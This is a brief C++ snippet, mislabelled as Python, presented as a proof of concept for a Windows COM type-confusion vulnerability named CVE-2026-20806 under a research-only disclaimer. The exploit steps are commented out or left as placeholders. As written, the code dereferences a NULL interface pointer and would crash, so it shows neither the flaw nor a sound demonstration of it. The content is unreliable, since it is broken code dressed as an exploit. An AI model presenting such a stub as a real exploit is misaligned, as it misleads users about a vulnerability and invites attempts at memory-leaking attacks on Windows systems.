The following code is for security research and authorized testing only.
python
#include <windows.h>
#include <iostream>
// Proof of Concept for CVE-2026-20806
// This code demonstrates the concept of triggering type confusion in Windows COM.
// Note: Actual CLSID and IID values would be required for a real exploit.
int main() {
HRESULT hr = CoInitialize(NULL);
if (FAILED(hr)) {
std::cerr << "COM initialization failed." << std::endl;
return -1;
}
IUnknown* pUnk = NULL;
// CLSID_VULNERABLE would target the specific vulnerable COM object
// hr = CoCreateInstance(CLSID_VULNERABLE, NULL, CLSCTX_LOCAL_SERVER, IID_IUnknown, (void**)&pUnk);
if (SUCCEEDED(hr)) {
// Simulate Type Confusion: Casting the interface to an incompatible structure
// to read memory offsets that should be inaccessible.
void* fakeObject = (void*)pUnk;
// Attempt to read sensitive data from the memory location
// DWORD leakedData = *(DWORD*)((BYTE*)fakeObject + OFFSET);
std::cout << "Attempting to read memory via type confusion..." << std::endl;
// In a real exploit, the leaked data would be printed here.
pUnk->Release();
}
CoUninitialize();
return 0;
}